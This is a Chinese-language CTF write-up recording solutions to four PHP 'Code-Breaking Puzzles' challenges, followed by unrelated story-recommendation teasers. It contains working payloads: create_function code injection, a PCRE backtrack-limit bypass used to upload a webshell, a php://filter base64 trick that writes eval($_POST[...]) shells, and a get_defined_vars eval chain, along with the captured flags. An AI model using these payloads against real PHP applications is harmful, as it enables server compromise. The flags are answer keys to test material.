Code-Breaking Puzzles 学习记录


尼玛一道题做不动,回炉重造,看完师傅们的WP,学习记录。


平台地址

0x01 easy - function

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

这里直接蒙蔽了,不知道不用字母数字以及下划线的情况下如何调用函数,思路走偏了,其实看到 ^$ 应该想到 fuzz 一下开头和结尾的特殊字符的,正确的解法是在函数前面/ ,/function。P牛在小密圈给出的解释是:

code-breaking puzzles第一题,function,为什么函数前面可以加一个%5c?奇技淫巧 其实简单的不行,php里默认命名空间是 \,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

接下来需要找到某个函数第二个参数可控时可以利用的。函数create_function()非常合适,这里做一下记录create_function()代码注入

string create_function    ( string $args   , string $code   )
string $args 变量部分
string $code 方法代码部分

例如:
create_function('$fname','echo $fname."Zhang"')

function fT($fname) {
    echo $fname."Zhang";
}

有问题的代码
<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
$f1 = create_function('$a',$str2);
?>

执行函数为:
    #源代码:
        function fT($a) {
          echo "test".$a;
        }

   注入后代码:
        function fT($a) {
          echo "test";}
          phpinfo();/*;//此处为注入代码。
        }

最终 payload 为 http://51.158.75.42:8087/?action=%5ccreate_function&arg=}eval($_POST['cmd']);//

0x02 easy - pcrewaf

 <?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 

这道题真的非常有意思,看完 P 牛的文章 PHP利用PCRE回溯次数限制绕过某些安全限制 真的感觉学到了很多,在此记录。单独抠出来试一试。

<?php
function is_php($data){//test.php
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}
var_dump(is_php($_POST['data']));
?>
import requests
payload = ""
data = {"data":payload}
print(requests.post(url="http://127.0.0.1/test.php",data=data).text)

payload"<?php echo 1;//"+"a"*1 时,返回为 int(1)
payload"<?php echo 1;//"+"a"*1000000 时,返回为 bool(false),成功 bypass。

现在来详细的学一下回溯的问题。在php的pcre扩展中,提供了两个设置项

pcre.backtrack_limit //最大回溯数
pcre.recursion_limit //最大嵌套数

成功 bypassis_php的检测,就是就和设置项backtrack_limit 有关系,首先得搞清楚什么是回朔,举两个例子(贪婪匹配 与 非贪婪匹配):

    源字符串: baaa
    正则表达式:  /.*b.*/

首先.\*取得控制权,因为是贪婪匹配直接匹配到末尾(baaa),但是显示是不对的,后面还有个b没有匹配到,所以开始回溯,向前一位(baa),再和后面的b匹配,仍无法匹配到,继续回溯,向前一位(ba),直到匹配到b,共产生了 3 次回溯。

    源字符串: aaab
    正则表达式:  /.*?b/

首先 .\*\?取得控制权,因为是非贪婪匹配,所以先把控制权给 bb明显是匹配不上的(aaab),所以开始回溯把匹配权给.\*\? , .\*\?匹配一个 a后继续把控制权让给b,此时b仍然匹配不上(aab),继续回溯....... 共产生了 3 次回溯。

默认的backtrack_limit100000,如果 回溯次数如果大于 backtrack_limit 则会匹配失败,停止回溯返回 false,所以如果用 preg_match 对字符串进行匹配,一定要使用 ===全等号来判断返回值。题目最终 payload 如下

import requests

files = {"file":"<?php eval($_POST['rabbit']);//"+"a"*1000000}
r = requests.post(url="http://51.158.75.42:8088/",files=files)
print(r.url)
# /var/www/flag_php7_2_1s_c0rrect flag{216728a834fb4c1e0bc6893e135f436e}

0x03 easy - phpmagic

 <?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<!doctype html>
<html lang="en">
<head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous">

    <title>Domain Detail</title>
    <style>
    pre {
        width: 100%;
        background-color: #f6f8fa;
        border-radius: 3px;
        font-size: 85%;
        line-height: 1.45;
        overflow: auto;
        padding: 16px;
        border: 1px solid #ced4da;
    }
    </style>
</head>
<body>

<div class="container">
    <div class="row">
        <div class="col">
            <form method="post">
                <div class="input-group mt-3">
                    <div class="input-group-prepend">
                        <span class="input-group-text" id="basic-addon1">dig -t A -q</span>
                    </div>
                    <input type="text" name="domain" class="form-control" placeholder="Your domain">
                    <div class="input-group-append">
                        <button class="btn btn-outline-secondary" type="submit">执行</button>
                    </div>
                </div>
            </form>
        </div>
    
    </div>

    <div class="row">
        <div class="col">
            <pre class="mt-3"><?php if(!empty($_POST) && $domain):
                $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
                $output = shell_exec($command);

                $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

                $log_name = $_SERVER['SERVER_NAME'] . $log_name;
                if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
                    file_put_contents($log_name, $output);
                }

                echo $output;
            endif; ?></pre>
        </div>
    </div>

</div>

</body>
</html>

$log_name$output 均可控,但 $output 经过了 htmlspecialchars() 的消毒。这里以前再小密圈里看到过绕过技巧,印象深刻。

谈一谈php://filter的妙用

这里可以通过为协议来进行绕过,$log_name = php://filter/write=convert.base64-decode/resource=shell.php,$domain=base64encode(code)这里还需要注意一下 base64 算法解码时的问题,位数需要为4的整数倍,并且因为我们是插入到中间,所以后面不能有==

当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

最后还有一个 pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true) 验证,只需要再后面加 /. 即可,这样pathinfo() 取不到后缀,而 file_put_contents()写入的时候又会递归删除 /.。综上,最后的 payload 如下:

import requests

headers ={"host":"p"}
data = {"domain":"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg","log":"hp://filter/write=convert.base64-decode/resource=cc.php/."}
r = requests.post(url="http://51.158.75.42:8082/index.php",data=data,headers=headers)
print(r.text)
#flag{8fd9046cde2d53d1ceea8970286fd38c}

0x04 easy - phplimit

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

/[^\W]+\((?R)?\)/ 这是一个递归匹配,具体参考这里 PHP正则之递归匹配。匹配类似function(function(function())),先看一下 phpinfo() 的信息 http://51.158.75.42:8084/?code=phpinfo(); PHP Version 5.6.38 ,找一下这个版本有没有相应的函数可以利用。可以使用 get_defined_vars() 获取外部传如的变量

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

然后用操作数组元素的几个函数来选择传入的值

  current() - 返回数组中的当前元素的值
  end() - 将内部指针指向数组中的最后一个元素,并输出
  next() - 将内部指针指向数组中的下一个元素,并输出
  prev() - 将内部指针指向数组中的上一个元素,并输出
  reset() - 将内部指针指向数组中的第一个元素,并输出
  each() - 返回当前元素的键名和键值,并将内部指针向前移动

payload : http://51.158.75.42:8084/?code=eval(next(current(get_defined_vars())));&cmd=phpinfo();
http://51.158.75.42:8084/?code=eval(next(current(get_defined_vars())));&cmd=print(file_get_contents(%27/var/www/flag_phpbyp4ss%27));

参考:

Code-Breaking Puzzles做题记录

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,997评论 6 502
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,603评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,359评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,309评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,346评论 6 390
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,258评论 1 300
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,122评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,970评论 0 275
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,403评论 1 313
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,596评论 3 334
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,769评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,464评论 5 344
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,075评论 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,705评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,848评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,831评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,678评论 2 354